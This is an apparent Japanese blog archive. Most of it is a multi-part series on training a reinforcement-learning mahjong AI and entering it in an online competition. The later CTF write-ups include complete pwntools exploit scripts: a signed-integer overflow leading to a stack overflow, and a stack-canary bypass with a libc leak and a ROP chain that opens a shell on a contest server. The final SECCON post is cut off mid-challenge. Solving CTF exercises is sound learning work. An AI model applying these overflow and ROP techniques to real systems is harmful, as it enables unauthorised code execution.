麻雀の強化学習をする　その５（塔と列車編）

麻雀AI

『Slay The Spire』と『崩壊: スターレイル』をやっていたらいつの間にか3週間経っていた（つまりその間何もしていない）

ちょっと間が開いてしまったので、現在の状況を整理。

現在の成績について

前回、学習時の報酬の影響で副露率がおかしいという話があった。 それを直して学習したものがこちら。

学習時間（横軸）と直近100半荘の最終スコアの移動平均（縦軸）

報酬を局ごとの点数の差分に比例するように変更したところ、ShantenAgentの平均スコアは約10000まで下がるようになった。

これを提出して3週間後の現在、統計と順位表はこのようになっている。

副露率は改善

ギリギリTier1

まず、副露率は70.11% → 36.69%となり、一般的に適切とされている領域に入っているようだ。

レートは3週間で少しずつ上昇していき、1697となった。現在のweakmlが1694なので、これをわずかに超えている（実際は強さにほとんど違いはないだろう）

副露率を改善するという目的は達成できたものの、思っていたほど強くはならなかった。一応Tier1 playerにも入っているが、明確に超えたという感じではない。

次回の改善点：打牌/副露モデルの分離

前回は副露率が目立ち過ぎたせいで打牌についてはほとんど検討していなかったが、実際に見てみると状況はかなり悪いことが分かった。

たとえば【6788m34p27s西西北中中】から2sを引いて4pを切るというようなことが結構な頻度で行われているが、人間でこのレベルのミスをする人はほとんどいないと思われる。 そして、これは現在のモデル構造に原因がありそうだと思っている。

現状ではすべてのアクションを同じモデルで扱っており、それぞれのアクションの価値を個別で推論して比較し、最も価値の高い手を採用している。 一方、AlphaGOをはじめとしてこの手のボードゲームの機械学習でよく用いられる手法は、あらかじめ可能なすべての手に対応した出力を持ち、すべてのアクションの採用確率を同時に推論するというものである。

麻雀のアクションは打牌だけで見ると牌と同じく34種（赤ドラと普通の牌を選択できる場合はあるが、一般には赤ドラを残すとしてよいと思う）しかないが、副露などを含めると非常に多くなる。このうちポンやカンは同時に1種類しか発生しないが、チーは牌の組み合わせによって区別され、手牌の状況によっては複数のチーの中からの選択が発生する。たとえば手牌に23445と持っているところに上家が4を捨てると「チー：23+4」「チー：35+4」「ポン：44+4」「何もしない」の4種のアクションからの選択になる。

前者の手法は現在の状況で可能なアクションの価値だけを推論するため、常にすべてのアクションの価値を比較することがあまり有効ではないと考えられる場合にも使える方法である。しかし、学習の際に他の選択肢（選ばなかった選択肢）との比較がないためアクション間の優先度を学習しにくいという欠点がある。 TCGのように潜在的なアクションの種類が膨大で、自分のターンにやりたいアクションをすべて行えるタイプのゲーム（policyの閾値が重要になるゲーム）では有効な手法だが、麻雀の打牌においては優先度の比較が特に重要なのであまりうまくいかず、欠点のほうが大きく出た形になったといえそうだ。

policyをアクションごとに個別に推論する方法について、これまで自分のなかでは「潜在的なアクションの種類が多く、かつ各状態で可能なアクションの選択肢は少ない場合（それぞれのアクションの登場頻度が小さい場合）に効率的」という程度の漠然とした認識だったが、今回の結果を確認して、アクションの種類に関する効果はあくまでこの手法がもつ長所の一つに過ぎず、基本的には解くべき問題としての性質にきちんと着目して推論方法を選択すべきという理解になった。

ということで、次はここを改善してみることにした。 やり方はシンプルに打牌とそれ以外でモデルを分ける方法を考えている。上記の内容を考慮したうえで改めて考えると、麻雀のアクションの中でも打牌とそれ以外では問題としての性質が違うことに気づいた。打牌は提示された選択肢の中からひとつを必ず選ぶ必要があるため価値同士の比較の問題だが、副露や立直、和了などのアクションは（チー間の選択はあるものの）基本的には「やるかやらないか」の選択であり、価値の閾値の問題と捉えられると思う。

よって、打牌とそれ以外のモデルを分け、打牌については囲碁などと同じく全てのアクションの選択確率を同時に推論し、副露などについては従来通りアクションごとに個別に価値を推論する方法が向いているのではないかと考えた。

打牌と副露の選択肢が基本的には同時に提示されない（副露アクションの価値と打牌アクションの価値を比較する必要がない）のは都合がいい点といえる。暗槓や立直、九種九牌などは打牌との選択とも考えられるが、まず副露モデルでそれらのアクションを行うかどうかを推論してから打牌モデルで切る牌を選べばいいだけなので簡単に分離可能である。

まとめ

  • ゲームをしすぎた
  • 報酬をちゃんとすると副露率は改善したが、思っていたほど強くはならなかった
  • 改めて打牌を検討してみると結構ひどかった → policyの推論方法について認識があいまいだった部分を言語化できた

しばらくは何かを改善して結果を見て、また改善点を探すというサイクルが続きそうな感じがする。

麻雀の強化学習をする　その４（コンテストに出してみた編）

前回、特徴量とモデル構造の改変を行い、学習の規模を少し大きくしたことでAIの挙動に改善が見られた（とくに、役のない副露の減少）

コンテストに出す

ある程度挙動が良くなったように見えたので、一旦コンテストに提出してみることにした。

RiichiLab-Mahjong AI Competitionについて

RiichiLabはsmly氏が個人で主催されているオンライン麻雀コンテストで、自作の麻雀AIを提出すると毎週末に対戦が行われ、サイト内でのレーティングを計算してくれるプラットフォームである。

コンテストの形式としてはCodingameに近いが、異なる点もある。

  • 機械学習に基づいたAIを提出することが想定されており、提出の形式がコードそのものではなくPythonスクリプトを含むzipファイルである。
  • 対戦は毎週土曜日に合計1000半荘行われる
    • 現在の参加人数（39名）だと各AIが大体70～120半荘ほど対戦することになるようだ
  • レーティングは提出されたAIではなく作者（提出者）自身に付与されており、AIを再提出してもリセットされない
  • 対戦は4半荘を1セットとして行われる。具体的には、同じseed値の半荘を席次だけを入れ替えて4回行う

現在のRiichiLabではMjx形式のエージェントに直接は対応していないようで、mjaiというエンジンに対応する形で実装する必要がある。

結果

とりあえずmjai形式に対応させて、10/05の対戦に間に合うように提出してみた。僕のAIは合計68対戦を経験し、結果は以下のようになった。

10/05の68対戦の統計情報

また、対戦のリプレイも確認することができる。↓はその一例である。

mjai.app

1位2位率が7割と一見非常によく見えるが、環境ではいわゆる下位プレイヤーとの対戦もあるため、一概に優秀とはいえない。

レーティングの初期値は1500なので、10/05の変化量は+119であったということになる。コンテストの仕組み的には一回の集計で適切なレートに収束することは全く保証されていないため来週の集計でまた上がる可能性もあるが、格上との対戦ではしっかり負けているようなので、案外実際の強さもこのくらいかもしれない。

今後の目標 / 要改善点

10/05時点での順位表は以下のようになっている。

https://mjai.app/games/59/leaderboard

僕の少し上にweakmlというAIがおり、それよりもレーティング的に高いAIがTier1Playerと定義されているようだ。 まずはこれを超えることを直近の目標にしたい。

前回は気づかなかったがAIの挙動に明確な要改善点が一つあり、なんとcall rate（副露率）が70%もある。一般に適正副露率は高くても40％程度とされているから、明らかにやりすぎである（ちなみに僕自身の雀魂での副露率を確認すると31%だった）

これは原因にとても心当たりがあって、学習の実験をする際に各局の点数の差分をvalueに変換する関数を手動で書いており、その変換において点数とvalueが全く線形の関係になっていないことが理由だと考えている。 具体的には+2000点が+0.5、+8000点が+0.7、+24000点が+0.9となっているほか、全体的にマイナスよりもプラスを大きく評価するように書いたのだった。 一番最初に、とりあえず和了できるようになってほしいと思って上がりに対して大げさに報酬を設定したのだが、これが本学習のときにもそのままになっていた。 （実際のところ麻雀では±48000点までは意味のある点数として充分発生しうるが、これを±1.0に相当させるとすると+2000点は報酬にして+0.042にすぎず、これが上がりを学習する段階で本当に有効なのかどうか若干判断に迷ったというのもある）

報酬がこのようになっているせいで、とにかく断么九を作って早く上がることが正義ということになったのだろう。実際、AIの脳内では2000点を2回上がることが三倍満に相当しており、8000点を取られても4000点を上がればチャラということになっているのだから当然といえる。 ある意味では正しく学習しているといえるが、実戦においては弱くなってしまう（当たり前）

さらに言えば麻雀において各局の点数収支というのはそもそも本質ではなく、本来は半荘終了時の着順で報酬を決めるべきとも思っているのだが、複数の局をまたいでの学習になることもあり現在はそのへんの判断を保留している。

我々人間が麻雀をプレイするときも何らかのvalueに従って状況を判断しているはずであり、それをうまく数値化できれば局ごとに報酬を適切に与えられるのだろうが、まだあまり考えられていないというのが正直なところだ。

現状では特徴量もきちんと整備できているとはいえず、人間のプレイヤーであれば当たり前に考慮する情報でも入っていなかったりするので（たとえば捨て牌の順序とか）次回はそこを整備する回にしようと思っていたのだが、報酬の影響が大きすぎるので一旦そこだけ直して来週再提出してみようかな……。

まとめ

  • RiichiLabのコンテストに提出してみた
  • 報酬がバカすぎて副露率がやばい！
  • ベンチマークのためにも一旦報酬を直して再学習したい

特徴量やモデル構造の話はその後にしよう。

麻雀の強化学習をする　その３（役を学習する編）

麻雀AI

前回、ローカルのデスクトップPCで学習を回してShangenAgentに勝ち越すところまで学習できたが、実際に局面を見てみると役のなくなる鳴きが多かったため、これを改善できるかどうかを試した。

方針

特徴量の追加

前回のモデルで入力に含めていた手牌の情報は手牌にそれぞれの牌が何枚ずつあるか＋副露した面子の情報だけだった。 理論上はそれだけの情報があれば役を学習できる可能性はあるが、今回はモデル構造が単純であることも考慮して、学習を補助するためにいくつかの特徴量を追加した。

  • 場風 / 自風
  • 門前かどうか
  • 副露した各面子
  • 手牌の種類と枚数
  • 手牌にある順子（たとえばM1234とあれば、M123とM234）
  • 手牌にある塔子（連続する2つの数牌であって、順子になっていないもの）
  • 手牌にある嵌張（1つ飛ばしの2つの数牌であって、順子になっていないもの）
  • 手牌と副露に（萬子 | 筒子 | 索子 | 字牌 | 老頭牌 | 中張牌）がそれぞれ存在するか

これらの情報があれば、大体の役を推論できるのではないかと考えた。

モデル構造の変更

前回のモデルでは出力がvalueとpolicyの2つしかなく、AIが学習に使える情報は少なかった。 valueとはすなわち局ごとの自分の点数の差分であり、役を学習するには解像度が低い情報なので、もう少し詳しいラベルを与えることにした。

具体的には、モデルの出力に3つのyaku出力を追加した。yakuに関する3つのラベルはonehot表現になっており、上がれないまま局が終了した場合は[1, 0, 0]、門前限定の手のみで和了した場合は[0, 1, 0]、副露可の役を含めて和了した場合は[0, 0, 1]となる。 3つのyaku出力は上記のラベルを分類問題として学習し、この局が上記の3種類のうちどの結末になるか、つまり「降り」「門前」「副露」という3つの方針のうちどれを選択すべきかを推論するのが目的である。yaku出力の値自体はエージェントの行動に影響を与えないが、valueヘッドとyakuヘッドは中間層を共有しているため、これらを同時に学習することがvalueの学習に寄与すると考えた。

もちろん、yaku出力を55個（Mjxにおける役の数）に分岐させ、それぞれの役が成立する確率を推論するマルチラベル分類問題として扱う手もあるが、さすがに多すぎて学習が安定しづらいかもしれないと思い今回は見送った。 とはいえ、これをうまく学習できれば推奨手だけでなく目指す役を列挙してくれる麻雀AIを作ることが可能であり、人間が見るためのAIとしては面白そうな題材なのでいつかやってみてもいいかもしれない。

とにかく、新しいモデルの構造は大雑把に描くと以下のようになった。モデルサイズは約8MBと比較的コンパクトに収まった。

新しいモデルの概略

学習リソースの増加

前回はデスクトップPC（10コア20スレッド）を使っていたが、今回は64コア256スレッドのマシン上で自己対戦を行った。GPUの性能も上がっているが、モデルのサイズが小さいのであまり関係ない感じだった。

学習の推移

上記の変更に加えてパラメータ変更や学習データの分割などいくつかの工夫を加えて学習した結果、ShantenAgentに対する勝率の推移は以下のようになった。

前回と同じく12時間学習しているが、マシンパワーが強いので学習自体は圧倒的に速くなっている。 数時間でShantenAgentの平均スコアは13000付近まで下がっており、そこからは学習を続けても下がっていかないようだった。

学習時間（横軸）と直近100半荘の最終スコアの移動平均（縦軸）

対局を見てみる

前回の課題が解決しているのか確認するため、今回も学習したモデル同士で東一局を6回プレイさせ、それぞれの局の最後の局面を確認してみた。

学習したモデル4体での最終局面（6局ぶん）

前回と比べて鳴きの精度が明らかに上がっているように見える。 基本的には役牌か断么九がある場合に副露しているようだが、左下の東家はチャンタを見ているかもしれない。 また、右下の東家は混一色を和了するなど、鳴きをかなりうまく使えているようだった。 門前で戦っている場合にも一盃口や七対子を作ろうとしており、役を学習できているといっていい気がする。

また、ほとんどの場合に么九牌から切っており、最初に中張牌を切った局では全て中盤までに和了しているなど、特に教えていない麻雀のセオリーも自分で発見できているようだ。

終局面を見ても特に目立つミスがないため、もしかしたら結構強いのかもしれない。

まとめ

  • 役を学習させるために入力に特徴量を追加し、モデルに方針を推論するyakuヘッドを追加した
  • マシンパワーを上げたので学習効率が上がり、強さが飽和するまで学習できた
  • 適切なタイミングで副露したり、役をうまく作れるようになっていた

麻雀が下手なのでもう自分の作ったAIのミスを指摘できなくなってしまった。 次は頑張って一手ずつ検討するか、もしくは一度コンテストに出してみてもいいかもしれない（mjaiに対応する必要があるので面倒くさい）

終局面を見て改善点に気づいた人がいたら教えてください（他力本願）

麻雀の強化学習をする　その２（ShantenAgentに勝ってビジュアライズする編）

麻雀AI

前回強化学習の仕組みを作って実際に学習を回してみたところ、Mjxに実装されているShantenAgentと同等の強さまで学習することができた。 ShantenAgentはロン、ツモ、立直ができるときは必ず行うが、それ以外の副露はランダム、牌を切るときはシャンテン数が小さくなる牌の中からランダムで切るというルールベースエージェントである。

ShantenAgentに勝つ

前回の記事では改良ポイントの候補として「リーチがかかったら安全牌を切る（＝降りる）」「基礎的な牌効率」を挙げていたが、そのうち安全牌についての情報を特徴量に入れてみることにした。（入れ方に工夫の余地はあるが、手牌の情報は元々入っているため理論上は牌効率を学習できると思っている）

自分の手牌のそれぞれの牌が各プレイヤーに対して安全かどうか（そのプレイヤーの捨て牌＋同順内フリテン＋立直後の他家の捨て牌）の情報を特徴量に加えて、さらにモデルのサイズやバッチサイズも調整してみたところ、結果は以下のようになった。

学習時間（横軸）と直近100半荘の最終スコアの移動平均（縦軸）

学習環境は前回と同じだが、今回は12時間学習してみた。概算で約10万半荘ぶんのデータを学習しており、モデルファイルのサイズは現状10MB程度になっている。

約5時間を過ぎたころからShantenAgentの平均スコアが25000を下回り始め、そこから少しずつ減少しているのが確認できた（もしかしたら前回も学習を止めなければこうなってたかもしれない）
最終的に16000付近まで下がっており、このまま続ければまだ下がっていきそうな感じもある。

実際のところShantenAgentの牌譜を学習して同等の強さになること自体は強化学習というより教師あり学習に近い話であり、そこからさらに強くなっていけるかが重要だと思っていたので、うまくいっているところを確認できてよかった（小並感）

対局を見てみる

強くなっていることは分かったが、現状何ができていて何ができてないのか、人間のプレイヤーと比べて実際どの程度強いのかということはスコアの推移からはあまり見えてこない。

ゲームエンジンとしてMjxを使うメリットの一つに良質なビジュアライザの存在がある。 Mjxでは各局面のオブジェクトから盤面の画像を生成する機能があるので、この機能を使って実際に対局を見てみることにした。 学習したモデルどうしで東一局を6回やってみたところ、それぞれの最終局面は以下のようになっていた。

学習したモデル4体での最終局面（6局ぶん）

意外と満貫とかを上がっているのは面白いが、よく見てみると最初に端牌から切るという意識が希薄で、他家のリーチに対してなんとなく安全牌を切っているような感じもあるがよく分からない。

明確に良くない点としては副露の使い方が挙げられる。 門前の価値を低く見ているようで基本的に鳴きを多用しているが、役がなくなる副露が多いのが気になる。おそらく鳴きを連打して、運が良ければ上がれるゲームだと思っているのだろう（スーファミの『スーパー麻雀大会』をプレイする8歳の僕と同じである）

学習時に役というものの存在を一切教えていないため、こうなるのは極めて妥当といえる。自分の手牌は見えているのだから原理的には役の存在に気づいてもおかしくはないが、現在のモデルの構造から考えても難しいだろう（三元牌の対子/刻子の登場率が高いので、いちばん簡単な副露役である役牌は理解しているかもしれない）

今後

とりあえず明確な改善点として、役のなくなる副露をしないように学習させたい。

高級な構造のモデルを使えばある程度学習できるのかもしれないが、どちらかというと役を学習できるように直接的にサポートするほうがうまくいきそうな感じがする。 たとえば、現在は局の終了時に自分の点数の差分だけを与えているが、自分の最終的な手牌になんの役があったか（もしくはなんの役もなかったか）という情報を与え、これも同時に推論させるというアプローチが考えられる。 そのためには役の判定を書く必要があり面倒だが、とりあえずは出現率の高い副露役だけを書くのでも十分かもしれない。

まとめ

  • 安全牌の情報を与えて長く学習させると、ShantenAgentより明確に強くなった
  • 対局をビジュアライズしてみると、役のなくなる副露が多かった
  • 役を学習させられる方法を考えたい

麻雀の強化学習をする　その１（強化学習の仕組みを作る編）

麻雀AI

気づいたらこのブログにCTFのことしか書いてないので本業っぽいこともやっていきたいと思い、面白そうなコンテストを探していたら RiichiLab-Mahjong AI Competitionというのを見つけたので、麻雀の強化学習を試してみることにした。

まずは手元で色々試してみて、将来的には勉強も兼ねて既存の強い麻雀AIの実装などを参考にしながら強いAIを作れたらいいなと思っている。

実装の概要など

今回はゲームエンジン以外の部分は自前で実装した。夏季休暇の5日間でやろうと思っていたらいつの間にか1か月経っていた（見通しの甘さ）

最初なのでとりあえず形だけ作っておいて、今後整理していく予定。

github.com

ゲームエンジン

麻雀のゲームエンジンを自作するのはとても時間がかかるので既存のもので使えそうなものを探してみたところ、Mjxというライブラリが使えそうだったのでインストールしてみた。Mjxは更新が止まっておりPyPI上のライブラリは壊れているようだったが、リポジトリから直接インストールできた。

pip3 install git+https://github.com/mjx-project/mjx

モデルと特徴量

モデルの改良は今後やる予定なので、とりあえず最初のモデルとして線形層を重ねただけのモデルを用意した。現状は盤面とアクションの情報から現在の状態価値と各アクションの行動価値を推論するモデルになっている。

Mjxでは"mjx-small-v0", "han22-v0", "mjx-large-v0"という3種類の特徴量セットが実装されており直接使用できるが、今回はこれを使わずに

ゲームエンジン -> 自作のBoard, Actionクラス -> 自作特徴量

という変換を実装した。 色々な手法を試したいというのと、できるだけ特定のゲームエンジンへの依存を少なくしたかったため（特にRiichiLabのコンテストではmjaiが使われているようなので、提出を考えるなら少なくとも将来的にmjaiでも動作させる必要がある）

盤面の特徴量は現時点では

  • 場風、自風
  • 自分の手牌＋河
  • 相手の鳴き＋河
  • シャンテン数

など最低限のものしか実装しておらず、リーチ状況や点数の状況などはまだ入っていない。

学習方法

基本的には自己対戦データを使用するが、麻雀ではランダムに行動するエージェントが和了できる確率は非常に小さいため、本当の意味での自己対戦だけではまともに学習できない可能性が高い。 よって、今回はモデルの推論によってプレイするActor3体＋ShantenAgent（シャンテン数が小さくなる牌があれば捨てる）1体の牌譜を使って学習を行うことにした。つまり、オンポリシーとオフポリシーのエージェントが混在していることになる。

学習結果

手元のデスクトップPC（10コア20スレッド）で対戦しながら4時間ほど学習したところ、以下のような感じになった。

学習時間（横軸）と直近100半荘の最終スコアの移動平均（縦軸）

最初はShantenAgentが圧勝していたが次第にスコア差が縮まっていき、200分程度で大体同じ強さになっていることが分かる。 実際のところ、Actionの特徴量には捨てることでシャンテン数が減る牌の情報を加えているためShantenAgentの動きを学習して同等の強さになること自体は難しくなかったと思われる。

今後

とりあえず直近の目標としては、ShantenAgentに勝ち越すモデルを作りたい。

人間のプレイでも「シャンテン数を小さくするようにプレイする」という原則から外れることは基本的にはなく、そこに「リーチがかかったら安全牌を切る（＝降りる）」「基礎的な牌効率」などが入ってくればある程度は強くなるのでは？と考えているが、現状の特徴量にはそれを学習するための情報がないので特徴量の整備から始めたいと思っている。 もしかすると、それらの情報をきちんと学習するためにはモデルの構造や報酬設計などを見直す必要もあるかもしれない。 より強くなるためには役を考慮することも重要だが、それは単に手牌を入力するだけではなく別途対策が必要になりそうな気がする（それぞれの役が成立する確率をサブタスクとして学習するとか）

まとめ

  • 麻雀の強化学習のために学習の仕組みを実装した
  • ShantenAgentと同等の強さまで学習できた
  • 次は特徴量の整備をしたい

AlpacaHack Round 1 (Pwn) に参加した＋復習

CTF

AlpacaHack の記念すべき第一回コンテストである AlpacaHack Round 1 に参加した。 今回はPwnジャンルの問題が4問出題されるという形式だった。

echo (Pwn: Warmup)

「A service for reachability check.」

問題の概要

ソースコードと実行ファイルが与えられる。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x100

/* Call this function! */
void win() {
  char *args[] = {"/bin/cat", "/flag.txt", NULL};
  execve(args[0], args, NULL);
  exit(1);
}

int get_size() {
  // Input size
  int size = 0;
  scanf("%d%*c", &size);

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

  return size;
}

void get_data(char *buf, unsigned size) {
  unsigned i;
  char c;

  // Input data until newline
  for (i = 0; i < size; i++) {
    if (fread(&c, 1, 1, stdin) != 1) break;
    if (c == '\n') break;
    buf[i] = c;
  }
  buf[i] = '\0';
}

void echo() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data: ");
  get_data(buf, size);

  // Show data
  printf("Received: %s\n", buf);
}

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  echo();
  return 0;
}

入力された文字列をそのまま出力するプログラムであり、最初に文字列のサイズを入力する必要があるのがポイント。

$ ./echo 
Size: 5
Data: abcde
Received: abcde

考えたこと

ソースコードにwin関数があり、「Call this function!」と書かれているのでその方針で考える。

WarmupなのでBOFとかだろうと思ってはいたが、入力の取り方が見たことないパターンだったので普通に苦戦。 わざわざサイズを入力させて1文字ずつ取っているのが怪しいと思うが、負の数や0を入力してもabs(size)で正の数に変換されてしまう。

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

abs関数に想いを馳せていると、そういえばintって [-2147483648, 2147483647] だったよなぁと思い出した。 調べると abs(INT_MIN)は未定義であり、INT_MINを返す処理系が多いらしい。 sizeが負の値であればfor文がバグるため無制限に値を書き込むことができ、BOFが可能となる。

というわけで実行すると、無事flagを取得できた。

# coding: utf-8
from pwn import *

exe = ELF("./echo")
context.binary = exe

p = remote("34.170.146.252",  17360)
# p = process('./echo')

win_addr = exe.symbols["win"]
print(p64(win_addr))

p.recvuntil(b"Size:")
p.sendline(b"-2147483648")
p.recvuntil(b"Data:")
p.sendline(b"a"*280 + p64(win_addr))

p.interactive()

$ python3 solve.py 
[*] '/mnt/c/Users/takeo-win11/Desktop/Alpaca/echo/echo'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 34.170.146.252 on port 17360: Done
b'\xf6\x11@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
 Received: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xf6@
$                                                                                                 Alpaca{s1Gn3d_4Nd_uNs1gn3d_s1zEs_c4n_cAu5e_s3ri0us_buGz}
[*] Got EOF while reading in interactive
$ 
$ 
[*] Closed connection to 34.170.146.252 port 17360
[*] Got EOF while sending in interactive

hexecho (Pwn: Easy)

「Stack canary makes me feel more secure.」

問題の概要

ソースコードと実行ファイルが与えられる。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x100

int get_size() {
  int size = 0;
  scanf("%d%*c", &size);
  return size;
}

void get_hex(char *buf, unsigned size) {
  for (unsigned i = 0; i < size; i++)
    scanf("%02hhx", buf + i);
}

void hexecho() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data (hex): ");
  get_hex(buf, size);

  // Show data
  printf("Received: ");
  for (int i = 0; i < size; i++)
    printf("%02hhx ", (unsigned char)buf[i]);
  putchar('\n');
}

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  hexecho();
  return 0;
}

前の問題と似ており、実行すると入力から16進数の値をsize回取得して表示する。

$ ./hexecho 
Size: 3
Data (hex): 12ab3c
Received: 12 ab 3c

考えたこと

問題のフレーバーテキストから考えてもカナリアを回避しろと言われているような気がするが、普通に分からず。 win関数もなくなっているのでシェルコードやROPなどのテクが必要になる気がするが、それもBOFが起点なのでカナリアチェックを突破できないとスタートできなかった。

xなど16進数を構成しない文字を入力すると決まった数が出てくることに気づいたがあまり意味は分からなかった。

$ ./hexecho 
Size: 5
Data (hex): xxxxx
Received: 00 80 07 00 00

しばらく考えたが分からなかったので入眠（めっちゃ眠かった）

コンテスト後に𝕏で検索すると、すぐに解法を呟いてくれている人が何人かいた。 それによると、「scanfに"+\n"や"-\n"など符号のみを入力すると、読み取り成功判定になるが何も書き込まない」という仕様があるらしい。

$ ./hexecho 
Size: 5 
Data (hex): aabb+
ccdd
Received: aa bb 07 cc dd

つまり、xなどを入力したときは値の読み取りに失敗したという判定のため当該文字がバッファから削除されず、その後のscanfが全部失敗する（その後、書き換えが行われなかった部分に元々入っていた値がそのまま出力されていた）が、"+\n"であれば成功判定になるのでscanf1回につき1つずつ消費されていき、その後も値を書き込めるということのようだ。 これでBOFができるので、改めて解いてみる。

win関数がないので何とかする必要があるが、NXbitが有効なのでシェルコードは無理そうな感じがする。

$ checksec --file=hexecho
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   43) Symbols       No    0               1               hexecho

libc.so.6 がついているのでgachi-ropと同じノリでいけそうだが、libcのベースアドレスを調べる必要がある。 先述の方法でメモリの内部が見えるのでgdbで調べると、bufの開始地点から+302Byteの位置に<__libc_start_call_main+128>のアドレスが格納されていることが分かる。 <__libc_start_call_main+128>とベースアドレスの差分は0x29d90（インターネット調べ）なので、これを使って計算できそうだ。

黄色で囲ったとこが一致

ここまで来てベースアドレスは実行のたびに変わるので見てからpayload書けないじゃんということに気づくが、さらに調べるとret2vuln（Return to Vulnerability？）という技があることを知った。 プログラムの脆弱性を使って当該処理自体の開始前にreturnさせることで同じ脆弱性を何度も利用するテクのことをいうらしい。 ret2vulnを使えば1回目でlibcのベースアドレスをリークさせ、その情報を使って2回目でROPをかけることができる。

実際にやってみる。 今回はsystem関数の使用が制限されていないので、そのままシェルを取ることができた。

# coding: utf-8
from pwn import *

exe = ELF("./hexecho")
libc = ELF("./libc.so.6")
context.binary = exe

p = remote("34.170.146.252",  25342)
# p = process('./hexecho')
# gdb.attach(p)

p.recvuntil(b"Size:")
p.sendline(b"302")
p.recvuntil(b"Data (hex):")
p.sendline(b"+\n"*280 + b"3b1240" + b"+\n"*19)  # hexecho+235 -> hexecho+5

data = p.recvline().split()[::-1][0:6]
libc_start_call_main_128_address = int(b"".join(data).decode(), 16)
libc_base_address = libc_start_call_main_128_address - 0x29d90
print(f"libc_base_addr: {hex(libc_base_address)}")

def to_hex(value):
    string = format(value, "016x")[::-1]
    ret = ""
    for i in range(8):
        ret += string[2*i+1]
        ret += string[2*i]
    return ret.encode()

ret = 0x00029139 + libc_base_address
pop_rdi = 0x0002a3e5 + libc_base_address
bin_sh = next(libc.search(b"/bin/sh")) + libc_base_address
system = libc.symbols["system"] + libc_base_address

payload = b""
payload += to_hex(ret)
payload += to_hex(pop_rdi)
payload += to_hex(bin_sh)
payload += to_hex(system)

p.sendline(b"312")
p.sendline(b"+\n"*280 + payload)

p.interactive()

$ python3 solve.py
[*] '/mnt/c/Users/takeo-win11/Desktop/Alpaca/hexecho/hexecho'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/mnt/c/Users/takeo-win11/Desktop/Alpaca/hexecho/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 34.170.146.252 on port 25342: Done
libc_base_addr: 0x7f0bf81e4000
[*] Switching to interactive mode
Size: Data (hex): Received: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 f7 3f f8 0b 7f 00 00 00 00 00 00 00 00 00 00 f5 23 27 f8 0b 7f 00 00 00 00 00 00 00 00 00 00 80 f7 3f f8 0b 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 3f f8 0b 7f 00 00 ad e5 26 f8 0b 7f 00 00 80 f7 3f f8 0b 7f 00 00 7f 55 26 f8 0b 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 73 b9 93 fe 7f 00 00 00 2f 61 ae 1d 16 3b 7c 40 73 b9 93 fe 7f 00 00 00 2f 61 ae 1d 16 3b 7c 01 00 00 00 00 00 00 00 39 d1 20 f8 0b 7f 00 00 e5 e3 20 f8 0b 7f 00 00 78 c6 3b f8 0b 7f 00 00 70 4d 23 f8 0b 7f 00 00
$ cat ../flag.txt
Alpaca{4Lw4y5_cH3cK_1f_a_fuNc71on_f4iL3d}

感想

結果は1問ACで 47th/174 となった。

結構学びがあったので、今後も解けた問題+1問復習を目標にやってみたい。

SECCON Beginners CTF 2024に参加した（復習編）

CTF

SECCON Beginners CTF 2024 の本番中に見られなかったり解けなかった問題のなかで気になるものを復習。

assemble (reverse: beginner)

reverseジャンルの最初の問題。参加したときには既にACされていたので本番中に見なかった。

問題の概要

WebアプリケーションのURLが与えられるのでアクセスすると、アセンブリ言語の練習ページが開く。

Please write 0x123 to RAX!

指示に従ってアセンブリを書くとflagがもらえる。

解法

Challenge 1. Please write 0x123 to RAX!

mov rax, 0x123

Challenge 2. Please write 0x123 to RAX and push it on stack!

mov rax, 0x123
push rax

Challenge 3. Please use syscall to print Hello on stdout!

mov rax, 0x1            ; writeのシステムコール番号
mov rdi, 0x1            ; 標準出力のファイルディスクリプタ
mov rdx, 0x5            ; 文字数
mov rsi, 0x6f6c6c6548   ; "Hello"
push rsi                ; 文字列をスタックにpush
mov rsi, rsp            ; スタックポインタをロード
syscall                 ; 呼び出し

Challenge 4. Please read flag.txt file and print it to stdout!

